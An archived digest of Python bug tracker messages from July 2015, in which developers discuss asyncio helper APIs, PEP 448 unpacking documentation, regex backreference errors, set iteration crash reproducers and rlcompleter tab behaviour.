---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jul 6 21:53:41 2015 From: report at bugs.python.org (STINNER Victor) Date: Mon, 06 Jul 2015 19:53:41 +0000 Subject: [issue20154] Deadlock in asyncio.StreamReader.readexactly() (fix applied, need unit test) In-Reply-To: <1389053268.48.0.216080788193.issue20154@psf.upfronthosting.co.za> Message-ID: <1436212421.32.0.676695734932.issue20154@psf.upfronthosting.co.za> STINNER Victor added the comment: I don't see anyone motivated to write a complex unit test for the issue which is already fixed, so I close the issue. Thanks for the fix Guido. ---------- resolution: remind -> fixed status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jul 6 22:33:56 2015 From: report at bugs.python.org (Ned Deily) Date: Mon, 06 Jul 2015 20:33:56 +0000 Subject: [issue24576] python27 unicode align comments In-Reply-To: <1436189038.3.0.738800086055.issue24576@psf.upfronthosting.co.za> Message-ID: <1436214836.89.0.188399326429.issue24576@psf.upfronthosting.co.za> Ned Deily added the comment: Thanks for the patch. However, in general, we don't like to change the source files in Python just to improve white-space formatting, in particular with older releases like Python 2.7. If the formatting changes are being done as part of a larger change in the area, sure, but otherwise it's a judgement call and we usually avoid unnecessary churn in maintenance releases. ---------- nosy: +ned.deily resolution: -> wont fix stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 7 00:25:16 2015 From: report at bugs.python.org (Konstantin Molchanov) Date: Mon, 06 Jul 2015 22:25:16 +0000 Subject: [issue24136] document PEP 448 In-Reply-To: <1430918327.69.0.579699866453.issue24136@psf.upfronthosting.co.za> Message-ID: <1436221516.48.0.339741654145.issue24136@psf.upfronthosting.co.za> Konstantin Molchanov added the comment: Hi! I'd like to update the docs with the examples of the new syntax usage. This is my first contribution to the Python docs, so I'd like to ask for some assistance. I'm going to start with adding an example to the tutorial (https://docs.python.org/3.5/tutorial/introduction.html#lists). I wanted to demonstrate the new syntax with string too (https://docs.python.org/3.5/tutorial/introduction.html#strings), but it turned out to produce somewhat unexpected results: >>> s = 'And now' >>> first, *rest = s >>> # I expected it to be synonymous >>> # to ``first, rest = s[0], s[1:]`` >>> # ``first`` is expected to be 'A', >>> # ``rest`` is expected to be 'nd now'. >>> # ``first`` is 'A', as expected: >>> first 'A' >>> # But ``rest`` is implicitly turned into a list: >>> rest ['n', 'd', ' ', 'n', 'o', 'w', ' ', 'f', 'o', 'r', ' ', 's', 'o', 'm', 'e', 't', 'h', 'i', 'n', 'g', ' ', 'c', 'o', 'm', 'p', 'l', 'e', 't', 'e', 'l', 'y', ' ', 'd', 'i', 'f', 'f', 'e', 'r', 'e', 'n', 't'] Is this behavior intended? Why wasn't ``first`` converted into ['A'] as well? Am I just not supposed to use the new unpacking with strings? Thanks, Konstantin ---------- nosy: +moigagoo _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 7 01:20:30 2015 From: report at bugs.python.org (Martin Panter) Date: Mon, 06 Jul 2015 23:20:30 +0000 Subject: [issue23275] Can assign [] = (), but not () = [] In-Reply-To: <1421694347.87.0.147201508367.issue23275@psf.upfronthosting.co.za> Message-ID: <1436224830.07.0.240523756013.issue23275@psf.upfronthosting.co.za> Martin Panter added the comment: I welcome this patch to go ahead. But the documentation also needs updating (see original post). I think it should mention that ?target_list? can be empty. And it should use ?iterable? instead of ?sequence? in more places. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 7 01:41:14 2015 From: report at bugs.python.org (Martin Panter) Date: Mon, 06 Jul 2015 23:41:14 +0000 Subject: [issue24578] [RFE] Add asyncio.wait_for_result API In-Reply-To: <1436205714.01.0.481233835807.issue24578@psf.upfronthosting.co.za> Message-ID: <1436226074.4.0.00650562036167.issue24578@psf.upfronthosting.co.za> Martin Panter added the comment: I don?t think you need the __await__() call. Just do loop.run_until_complete(awaitable). I understand ?asyncio? doesn?t support recursive calls into the same event loop on purpose; see Issue 22239. So this code would only be useful from outside of the event loop, or if more than one event loop was in use. ---------- nosy: +vadmium _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 7 01:54:01 2015 From: report at bugs.python.org (Raymond Hettinger) Date: Mon, 06 Jul 2015 23:54:01 +0000 Subject: [issue4356] Add "key" argument to "bisect" module functions In-Reply-To: <1227115048.67.0.318831592843.issue4356@psf.upfronthosting.co.za> Message-ID: <1436226841.04.0.418222010078.issue4356@psf.upfronthosting.co.za> Raymond Hettinger added the comment: I'll add a key= variant for Python 3.6. ---------- versions: +Python 3.6 -Python 3.4 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 7 01:59:05 2015 From: report at bugs.python.org (Martin Panter) Date: Mon, 06 Jul 2015 23:59:05 +0000 Subject: [issue24136] document PEP 448: unpacking generalization In-Reply-To: <1430918327.69.0.579699866453.issue24136@psf.upfronthosting.co.za> Message-ID: <1436227145.63.0.235943352035.issue24136@psf.upfronthosting.co.za> Martin Panter added the comment: Yes I think it is expected and documented that the leftovers are turned into a list. See . I originally had similar confusion, expectating the starred target to become a tuple, because people often use tuple-like syntax, but: >>> generator_expression = (2**i for i in range(4)) >>> (one, *a_list, eight) = generator_expression >>> a_list # Not a tuple! [2, 4] One thing in the section I linked above that should also be fixed is that the assigned object may be any iterable, not just a sequence. About changing the tutorial, just be careful you don?t add unnecessary complication too early. The original * and ** syntax for function parameters is not mentioned until . Later, argument unpacking: . Assignment unpacking doesn?t seem to mentioned at all (not that I am saying it should be). It might be higher priority to update the main reference documentation first. ---------- title: document PEP 448 -> document PEP 448: unpacking generalization _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 7 02:24:48 2015 From: report at bugs.python.org (Martin Panter) Date: Tue, 07 Jul 2015 00:24:48 +0000 Subject: [issue24079] xml.etree.ElementTree.Element.text does not conform to the documentation In-Reply-To: <1430350495.43.0.91352789573.issue24079@psf.upfronthosting.co.za> Message-ID: <1436228688.34.0.221974037983.issue24079@psf.upfronthosting.co.za> Changes by Martin Panter : ---------- stage: patch review -> commit review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 7 02:34:03 2015 From: report at bugs.python.org (Craig Northway) Date: Tue, 07 Jul 2015 00:34:03 +0000 Subject: [issue24579] Additional tests for urllib module Message-ID: <1436229242.99.0.593377737006.issue24579@psf.upfronthosting.co.za> New submission from Craig Northway: Patch containing additional tests for urllib module to increase code coverage for url parsing. Current coverage: Lib/urllib/parse 513 202 61% Updated coverage: Lib/urllib/parse 513 139 73% ---------- components: Tests messages: 246386 nosy: craign priority: normal severity: normal status: open title: Additional tests for urllib module type: enhancement _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 7 02:34:22 2015 From: report at bugs.python.org (Craig Northway) Date: Tue, 07 Jul 2015 00:34:22 +0000 Subject: [issue24579] Additional tests for urllib module In-Reply-To: <1436229242.99.0.593377737006.issue24579@psf.upfronthosting.co.za> Message-ID: <1436229262.17.0.327243198854.issue24579@psf.upfronthosting.co.za> Changes by Craig Northway : ---------- keywords: +patch Added file: http://bugs.python.org/file39877/urllib.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 7 02:37:10 2015 From: report at bugs.python.org (Craig Northway) Date: Tue, 07 Jul 2015 00:37:10 +0000 Subject: [issue24579] Additional tests for urllib module In-Reply-To: <1436229242.99.0.593377737006.issue24579@psf.upfronthosting.co.za> Message-ID: <1436229430.42.0.809462135708.issue24579@psf.upfronthosting.co.za> Changes by Craig Northway : ---------- versions: +Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 7 02:41:42 2015 From: report at bugs.python.org (Topher Kessler) Date: Tue, 07 Jul 2015 00:41:42 +0000 Subject: [issue24573] Using multiprocessing with tkinter frames in Python 3.4.3 crashes in OS X In-Reply-To: <1436149068.06.0.463306574037.issue24573@psf.upfronthosting.co.za> Message-ID: <1436229702.39.0.53589878206.issue24573@psf.upfronthosting.co.za> Topher Kessler added the comment: Yeah it is a bug in OS X, fixed by setting the python multiprocessing start method to 'forkserver' instead of the default fork. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 7 03:01:38 2015 From: report at bugs.python.org (Martin Panter) Date: Tue, 07 Jul 2015 01:01:38 +0000 Subject: [issue13456] Providing a custom HTTPResponse class to HTTPConnection In-Reply-To: <1321988533.96.0.72454390842.issue13456@psf.upfronthosting.co.za> Message-ID: <1436230898.68.0.849372579109.issue13456@psf.upfronthosting.co.za> Martin Panter added the comment: Why do people want ?response_class? to be part of the API? If so, more details about it may need to added, e.g. the following methods and attributes seem to be required: _read_status(), fp, close(), isclosed(), begin() and will_close. The ?debuglevel? attribute seems fairly redundant with the existing set_debuglevel() method. Also, what is the point of adding the ?default_port? attribute, if it cannot be modified? The only use case I can imagine is in a subclass that specifically does modify it. But I?m not sure it should be added at all. So I am sorry, but I don?t see why any of the three additions in the patch should be made. IMO it would be better to explain that ?response_class? is an internal implementation detail, or even drop it entirely from the doc string. ---------- nosy: +vadmium _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 7 03:16:04 2015 From: report at bugs.python.org (Martin Panter) Date: Tue, 07 Jul 2015 01:16:04 +0000 Subject: [issue24579] Additional tests for urllib module In-Reply-To: <1436229242.99.0.593377737006.issue24579@psf.upfronthosting.co.za> Message-ID: <1436231764.2.0.951987674545.issue24579@psf.upfronthosting.co.za> Martin Panter added the comment: Have you seen the existing test cases in /Lib/test/test_urlparse.py? If not, I don?t blame you, because of the odd test file naming and structuring. :) But I suspect some of your tests may be redundant. But you might be in a good position to suggest some comments to add somewhere explaining where all the urllib tests are. I understand the test file names come from Python 2 (where urlparse is a module). I don?t know if they were not renamed just due to laziness, or if it was to make merging patches between Python 2 and 3 easier. ---------- nosy: +vadmium _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 7 03:25:41 2015 From: report at bugs.python.org (Dan Haffey) Date: Tue, 07 Jul 2015 01:25:41 +0000 Subject: [issue24580] Wrong or missing exception when compiling regexes with recursive named backreferences Message-ID: <1436232341.94.0.272846345594.issue24580@psf.upfronthosting.co.za> New submission from Dan Haffey: Error reporting for recursive backreferences in regexes isn't consistent across both types of backref. Here's the exception for a recursive numeric backref: >>> import re >>> re.compile(r'(\1)') Traceback (most recent call last): ... sre_constants.error: cannot refer to an open group at position 1 Here's what I'm seeing on the 3.5 branch for a named backref: >>> re.compile(r'(?P(?P=spam))') Traceback (most recent call last): ... RecursionError: maximum recursion depth exceeded Which is an improvement over 3.4 and below, where compilation succeeds and appears to treat (?P=spam) as valid but unmatchable. ---------- components: Regular Expressions messages: 246390 nosy: dhaffey, ezio.melotti, mrabarnett priority: normal severity: normal status: open title: Wrong or missing exception when compiling regexes with recursive named backreferences type: behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 7 04:10:24 2015 From: report at bugs.python.org (Craig Northway) Date: Tue, 07 Jul 2015 02:10:24 +0000 Subject: [issue24579] Additional tests for urllib module In-Reply-To: <1436229242.99.0.593377737006.issue24579@psf.upfronthosting.co.za> Message-ID: <1436235024.65.0.640702900238.issue24579@psf.upfronthosting.co.za> Craig Northway added the comment: Whoops, looks like there is definitely some redundancy. I didn't notice those tests at the time I wrote these (PyCon AU last year) and while I have been grappling with getting permission to make the contributions it looks like it's been worked on a bit. I'll close this for now. ---------- status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 7 06:31:20 2015 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 07 Jul 2015 04:31:20 +0000 Subject: [issue24580] Wrong or missing exception when compiling regexes with recursive named backreferences In-Reply-To: <1436232341.94.0.272846345594.issue24580@psf.upfronthosting.co.za> Message-ID: <1436243480.23.0.335279144042.issue24580@psf.upfronthosting.co.za> Changes by Serhiy Storchaka : ---------- assignee: -> serhiy.storchaka nosy: +serhiy.storchaka stage: -> needs patch versions: +Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 7 09:11:05 2015 From: report at bugs.python.org (Tal Einat) Date: Tue, 07 Jul 2015 07:11:05 +0000 Subject: [issue1927] raw_input behavior incorrect if readline not enabled In-Reply-To: <1201206078.95.0.997961854688.issue1927@psf.upfronthosting.co.za> Message-ID: <1436253065.03.0.139723687807.issue1927@psf.upfronthosting.co.za> Tal Einat added the comment: See also issue #24402: input() uses sys.__stdout__ instead of sys.stdout for prompt ---------- nosy: +taleinat _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 7 09:17:47 2015 From: report at bugs.python.org (Konstantin Molchanov) Date: Tue, 07 Jul 2015 07:17:47 +0000 Subject: [issue24136] document PEP 448: unpacking generalization In-Reply-To: <1430918327.69.0.579699866453.issue24136@psf.upfronthosting.co.za> Message-ID: <1436253467.25.0.800747097514.issue24136@psf.upfronthosting.co.za> Konstantin Molchanov added the comment: @vadmium thanks for the assistance! I'll kick off with the reference then. P.S. Am I the only one who doesn't receive any emails from the tracker? I never got the registration link or a follow-up notification from this issue. Am I missing something? P.P.S. I'm not yet familiar with the local etiquette, so please forgive me if I'm unintentionally breaking some rules. Is @mentioning OK? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 7 10:09:09 2015 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 07 Jul 2015 08:09:09 +0000 Subject: [issue24581] Crash when a set is changed during iteration Message-ID: <1436256549.64.0.540045021934.issue24581@psf.upfronthosting.co.za> New submission from Serhiy Storchaka: Changeset c9782a9ac031 caused segmentation fault when underlying table of the set is reallocated but the number of set elements is kept the same during iteration. Crash reproducer: s = set(range(100)) s.clear() s.update(range(100)) si = iter(s) s.clear() a = list(range(100)) s.update(range(100)) list(si) ---------- components: Interpreter Core messages: 246394 nosy: rhettinger, serhiy.storchaka priority: normal severity: normal stage: needs patch status: open title: Crash when a set is changed during iteration type: crash versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 7 10:38:26 2015 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 07 Jul 2015 08:38:26 +0000 Subject: [issue24582] Minor branch optimization in set implementation Message-ID: <1436258306.82.0.639469494764.issue24582@psf.upfronthosting.co.za> New submission from Serhiy Storchaka: For now multiple set functions call helpers that returns one of three possible values (0, 1, and -1 for error) and then analyze return code in the loop. while (...) { rv = some_set_operation(); if (rv < 0) { // clean up return NULL; } if (rv) { other_set_operation(); } // if (rv == 0) do nothing } If rv is 0 or 1, it is tested two times. If rv is -1 (unlikely), it is tested only once. It is possible to rewrite testing in other way: while (...) { rv = some_set_operation(); if (rv != 0) { // 1 or -1 if (rv < 0) { // clean up return NULL; } other_set_operation(); } } Now if rv is 0 (common case), it is tested only once, and likely the test jump will be merged with unconditional loop jump. I have no benchmarking results, but I suppose that such rewritting will generate better machine code. ---------- components: Interpreter Core files: set_branch_optimizations.patch keywords: patch messages: 246395 nosy: rhettinger, serhiy.storchaka priority: normal severity: normal stage: patch review status: open title: Minor branch optimization in set implementation type: enhancement versions: Python 3.6 Added file: http://bugs.python.org/file39878/set_branch_optimizations.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 7 11:35:19 2015 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 07 Jul 2015 09:35:19 +0000 Subject: [issue24580] Wrong or missing exception when compiling regexes with recursive named backreferences In-Reply-To: <1436232341.94.0.272846345594.issue24580@psf.upfronthosting.co.za> Message-ID: <1436261719.13.0.11580963911.issue24580@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Here is a patch that forbids symbolic references to opened groups in 3.5+. ---------- keywords: +patch stage: needs patch -> patch review Added file: http://bugs.python.org/file39879/re_open_group_symbolic_ref.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 7 11:37:20 2015 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 07 Jul 2015 09:37:20 +0000 Subject: [issue24580] Wrong or missing exception when compiling regexes with recursive named backreferences In-Reply-To: <1436232341.94.0.272846345594.issue24580@psf.upfronthosting.co.za> Message-ID: <1436261840.06.0.704296916023.issue24580@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: It is questionable if an exception should be raised in older Python versions. Here is a patch for 3.4 that just issues a warning. ---------- Added file: http://bugs.python.org/file39880/re_open_group_symbolic_ref-3.4.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 7 11:37:33 2015 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 07 Jul 2015 09:37:33 +0000 Subject: [issue24580] Wrong or missing exception when compiling regexes with recursive named backreferences In-Reply-To: <1436232341.94.0.272846345594.issue24580@psf.upfronthosting.co.za> Message-ID: <1436261853.09.0.25913261941.issue24580@psf.upfronthosting.co.za> Changes by Serhiy Storchaka : ---------- versions: +Python 2.7, Python 3.4 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 7 13:15:43 2015 From: report at bugs.python.org (David Beazley) Date: Tue, 07 Jul 2015 11:15:43 +0000 Subject: [issue23441] rlcompleter: tab on empty prefix => insert spaces In-Reply-To: <1423650104.74.0.902857510979.issue23441@psf.upfronthosting.co.za> Message-ID: <1436267743.81.0.427658487906.issue23441@psf.upfronthosting.co.za> David Beazley added the comment: This is a problem that will never be fixed. Sure, it was a release blocker in Python 3.4. It wasn't fixed. It is a release blocker in Python 3.5. It won't be fixed. They'll just tell you to indent using the spacebar as generations of typists have done for centuries. It won't be fixed. Why don't you just use ipython or bpython? It won't be fixed. Doesn't your IDE take care of this? It won't be fixed. By the way, backspace will never work right either. No, that will never be fixed. Did we mention that this will never be fixed? You can fix it! Yes, you! No, I mean you! Yes, yes, you can. Simply edit the file Lib/site.py and comment out the line that does this: # enablerlcompleter() Problem solved. All is well. By the way. This problem will never be fixed. That is all. ---------- nosy: +dabeaz _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 7 13:22:56 2015 From: report at bugs.python.org (Antoine Pitrou) Date: Tue, 07 Jul 2015 11:22:56 +0000 Subject: [issue23441] rlcompleter: tab on empty prefix => insert spaces In-Reply-To: <1423650104.74.0.902857510979.issue23441@psf.upfronthosting.co.za> Message-ID: <1436268176.53.0.0316880767148.issue23441@psf.upfronthosting.co.za> Antoine Pitrou added the comment: Well, there is a patch, and I think a couple core developers interested in this, so I wouldn't bet on this never getting fixed. Just leave them a bit more time. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 7 13:24:04 2015 From: report at bugs.python.org (David Beazley) Date: Tue, 07 Jul 2015 11:24:04 +0000 Subject: [issue23441] rlcompleter: tab on empty prefix => insert spaces In-Reply-To: <1423650104.74.0.902857510979.issue23441@psf.upfronthosting.co.za> Message-ID: <1436268244.08.0.734788365279.issue23441@psf.upfronthosting.co.za> David Beazley added the comment: For what it's worth, I'm kind of tired having to hack site.py every time I upgrade Python in order to avoid being shown 6000 choices when hitting tab on an empty line. It is crazy annoying. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 7 13:24:38 2015 From: report at bugs.python.org (James) Date: Tue, 07 Jul 2015 11:24:38 +0000 Subject: [issue20825] containment test for "ip_network in ip_network" In-Reply-To: <1393766299.38.0.300697561376.issue20825@psf.upfronthosting.co.za> Message-ID: <1436268278.96.0.0438609070625.issue20825@psf.upfronthosting.co.za> James added the comment: What is the status of these changes? Apparently they were slated for inclusion in 3.5 but it looks as though they haven't hit yet - is there a reason for this, or was it just forgotten? ---------- nosy: +JamesGuthrie _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 7 13:47:10 2015 From: report at bugs.python.org (Dima Tisnek) Date: Tue, 07 Jul 2015 11:47:10 +0000 Subject: [issue18987] distutils.utils.get_platform() for 32-bit Python on a 64-bit machine In-Reply-To: <1378731781.77.0.0136191125302.issue18987@psf.upfronthosting.co.za> Message-ID: <1436269630.5.0.342779995453.issue18987@psf.upfronthosting.co.za> Dima Tisnek added the comment: beep! ---------- nosy: +Dima.Tisnek _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 7 13:56:10 2015 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 07 Jul 2015 11:56:10 +0000 Subject: [issue24583] Crash when source set is changed during merging Message-ID: <1436270170.86.0.264953731396.issue24583@psf.upfronthosting.co.za> New submission from Serhiy Storchaka: When the set is not empty and set.update() argument is set that is modified during merging, the crash is caused. Here is a test that reproduces a crash. Only Python 3.5+ is affected. ---------- components: Interpreter Core files: test_set__merge_and_mutate.patch keywords: patch messages: 246403 nosy: rhettinger, serhiy.storchaka priority: normal severity: normal stage: needs patch status: open title: Crash when source set is changed during merging type: crash versions: Python 3.5, Python 3.6 Added file: http://bugs.python.org/file39881/test_set__merge_and_mutate.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 7 14:23:59 2015 From: report at bugs.python.org (Nick Coghlan) Date: Tue, 07 Jul 2015 12:23:59 +0000 Subject: [issue24571] [RFE] Add asyncio.call_in_executor API In-Reply-To: <1436146594.33.0.331638937124.issue24571@psf.upfronthosting.co.za> Message-ID: <1436271839.79.0.0327628216172.issue24571@psf.upfronthosting.co.za> Nick Coghlan added the comment: The concerns I have with "get_awaitable" are: * it doesn't express user intent - the user doesn't care about getting an awaitable, they want to initiate a blocking call without holding up the current coroutine * it's too broad - there are many other ways to get an awaitable, while this is specifically about being able to schedule a blocking call in another thread or process If "blocking_call" reminds you of the execution of f, that's a good thing: this call immediately dispatches f for execution in another thread or process, and returns a future that lets you wait for the result later. ---------- title: [RFE] Add asyncio.blocking_call API -> [RFE] Add asyncio.call_in_executor API _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 7 14:31:42 2015 From: report at bugs.python.org (Nick Coghlan) Date: Tue, 07 Jul 2015 12:31:42 +0000 Subject: [issue24571] [RFE] Add asyncio.call_async API In-Reply-To: <1436146594.33.0.331638937124.issue24571@psf.upfronthosting.co.za> Message-ID: <1436272302.18.0.741364108485.issue24571@psf.upfronthosting.co.za> Nick Coghlan added the comment: After trying out some example code in issue 24578, I've changed the suggestion function name to "call_async". The reason is because it makes this kind of code read quite well: futureB = asyncio.call_async(slow_io_bound_operation) futureC = asyncio.call_async(another_slow_io_bound_operation) a = calculateA() b = asyncio.wait_for_result(futureB) c = asyncio.wait_for_result(futureC) And still reads well when combined with await: b = await asyncio.call_async(blocking_operation) ---------- title: [RFE] Add asyncio.call_in_executor API -> [RFE] Add asyncio.call_async API _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 7 14:32:10 2015 From: report at bugs.python.org (Nick Coghlan) Date: Tue, 07 Jul 2015 12:32:10 +0000 Subject: [issue24578] [RFE] Add asyncio.wait_for_result API In-Reply-To: <1436205714.01.0.481233835807.issue24578@psf.upfronthosting.co.za> Message-ID: <1436272330.45.0.228472981574.issue24578@psf.upfronthosting.co.za> Nick Coghlan added the comment: It occurs to me that given both this API and the "call_async()" API now proposed in issue 24571, otherwise synchronous code can do things like: futureB = asyncio.call_async(slow_io_bound_operation) futureC = asyncio.call_async(another_slow_io_bound_operation) a = calculateA() b = asyncio.wait_for_result(futureB) c = asyncio.wait_for_result(futureC) Which still reads well when combined with await: b = await asyncio.call_async(blocking_operation) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 7 14:53:40 2015 From: report at bugs.python.org (Guido van Rossum) Date: Tue, 07 Jul 2015 12:53:40 +0000 Subject: [issue24571] [RFE] Add asyncio.call_async API In-Reply-To: <1436146594.33.0.331638937124.issue24571@psf.upfronthosting.co.za> Message-ID: <1436273620.59.0.244948431249.issue24571@psf.upfronthosting.co.za> Guido van Rossum added the comment: You seem to miss that run_in_executor() does take *args -- so the partial() call is only needed if you need to pass keyword args. Is it really worth having a helper for this one-liner? def call_async(func, *args): return asyncio.get_event_loop().run_in_executor(func, *arg) I'm on the fence myself. I do like the new name better. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 7 15:01:50 2015 From: report at bugs.python.org (Antoine Pitrou) Date: Tue, 07 Jul 2015 13:01:50 +0000 Subject: [issue24571] [RFE] Add asyncio.call_async API In-Reply-To: <1436146594.33.0.331638937124.issue24571@psf.upfronthosting.co.za> Message-ID: <1436274110.74.0.358534347855.issue24571@psf.upfronthosting.co.za> Antoine Pitrou added the comment: FWIW: > The concerns I have with "get_awaitable" are [snip] I agree with you. > I've changed the suggestion function name to "call_async" I disagree. "async" is an extremely overloaded term with no unambiguous meaning (but possible misinterpretations), especially now that Python 3.5 has an "async" keyword (or quasi-keyword? I don't remember :-)). "call_in_executor" I think was fine. "call_in_thread" would be as well (and would mimick Twisted's own callInThread). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 7 15:03:27 2015 From: report at bugs.python.org (Antoine Pitrou) Date: Tue, 07 Jul 2015 13:03:27 +0000 Subject: [issue24571] [RFE] Add asyncio.call_async API In-Reply-To: <1436146594.33.0.331638937124.issue24571@psf.upfronthosting.co.za> Message-ID: <1436274207.17.0.623124015715.issue24571@psf.upfronthosting.co.za> Antoine Pitrou added the comment: Oh, and yes, it's not obvious this is needed at all :-) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 7 15:05:32 2015 From: report at bugs.python.org (Guido van Rossum) Date: Tue, 07 Jul 2015 13:05:32 +0000 Subject: [issue24578] [RFE] Add asyncio.wait_for_result API In-Reply-To: <1436205714.01.0.481233835807.issue24578@psf.upfronthosting.co.za> Message-ID: <1436274332.66.0.124680447634.issue24578@psf.upfronthosting.co.za> Guido van Rossum added the comment: Maybe the two issues should be merged so the two proposals can be considered together. I'm -0 on both, because each of these is really just one line of code and it seems they both encourage mindless copy-pasting that just saddens me (similar to "Python" scripts I sometimes see that are just a series of shell invocations using subprocess.getoutput() or similar, including calls to "rm" or "echo"). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 7 15:07:06 2015 From: report at bugs.python.org (Guido van Rossum) Date: Tue, 07 Jul 2015 13:07:06 +0000 Subject: [issue24571] [RFE] Add asyncio.call_async API In-Reply-To: <1436146594.33.0.331638937124.issue24571@psf.upfronthosting.co.za> Message-ID: <1436274426.33.0.72833335342.issue24571@psf.upfronthosting.co.za> Guido van Rossum added the comment: *If* it needs to be added I like call_in_thread(). (We should have used that instead of call_in_executor() on the loop, but too late now.) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 7 15:13:10 2015 From: report at bugs.python.org (Nick Coghlan) Date: Tue, 07 Jul 2015 13:13:10 +0000 Subject: [issue24578] [RFE] Add asyncio.wait_for_result API In-Reply-To: <1436205714.01.0.481233835807.issue24578@psf.upfronthosting.co.za> Message-ID: <1436274790.34.0.588276321533.issue24578@psf.upfronthosting.co.za> Nick Coghlan added the comment: As Guido suggested, merging back into issue 24571 ---------- resolution: -> duplicate status: open -> closed superseder: -> [RFE] Add asyncio.call_async API _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 7 15:15:46 2015 From: report at bugs.python.org (bee13oy) Date: Tue, 07 Jul 2015 13:15:46 +0000 Subject: [issue24566] Unsigned Integer Overflow in sre_lib.h In-Reply-To: <1436179983.42.0.13425228562.issue24566@psf.upfronthosting.co.za> Message-ID: bee13oy added the comment: Thank you. I got it. 2015-07-06 18:53 GMT+08:00 Serhiy Storchaka : > > Serhiy Storchaka added the comment: > > Yes, this patch was not applied because it had no visible effect on Linux. > Now, with your report, there is a case on Windows. > > ---------- > > _______________________________________ > Python tracker > > _______________________________________ > ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 7 15:29:24 2015 From: report at bugs.python.org (Nick Coghlan) Date: Tue, 07 Jul 2015 13:29:24 +0000 Subject: [issue24571] [RFE] Add asyncio.call_async API In-Reply-To: <1436146594.33.0.331638937124.issue24571@psf.upfronthosting.co.za> Message-ID: <1436275764.84.0.305797880311.issue24571@psf.upfronthosting.co.za> Nick Coghlan added the comment: As a minor note, we didn't use call_in_thread on the event loop because it may be "call_in_process". I've also merged issue 24578 back into this one as Guido suggested. I think the example Sven gave on the mailing list provides a better rationale here than my original one of safely making blocking calls from an asyncio coroutine (as I agree if you're to the point of writing your own coroutines, dispatching a blocking call to the executor shouldn't be a big deal). Sven's scenario instead relates to the case of having an application which is still primarily synchronous, but has the occasional operation where it would be convenient to be able to factor them out as parallel operations without needing to significantly refactor the code. For example: def load_and_process_data(): data1 = load_remote_data_set1() data2 = load_remote_data_set2() return process_data(data1, data2) Trying yet another colour for the bikeshed (before I change the issue title again), imagine if that could be written: def load_and_process_data(): future1 = asyncio.background_call(load_remote_data_set1) future2 = asyncio.background_call(load_remote_data_set2) data1 = asyncio.wait_for_result(future1) data2 = asyncio.wait_for_result(future2) return process_data(data1, data2) The operating model of interest here would be the one where you're still writing a primarily synchronous (and perhaps even single-threaded) application (rather than an event-driven one), but you'd like to occasionally do some background processing while the foreground thread continues with other tasks. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 7 15:34:34 2015 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 07 Jul 2015 13:34:34 +0000 Subject: [issue24566] Unsigned Integer Overflow in sre_lib.h In-Reply-To: <1436064561.98.0.902755474507.issue24566@psf.upfronthosting.co.za> Message-ID: <1436276074.62.0.739398097562.issue24566@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Thank you for your report. Without your example the patch would postponed indefinitely. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jul 7 17:14:52 2015 From: report at bugs.python.org (Guido van Rossum) Date: Tue, 07 Jul 2015 15:14:52 +0000 Subject: [issue24571] 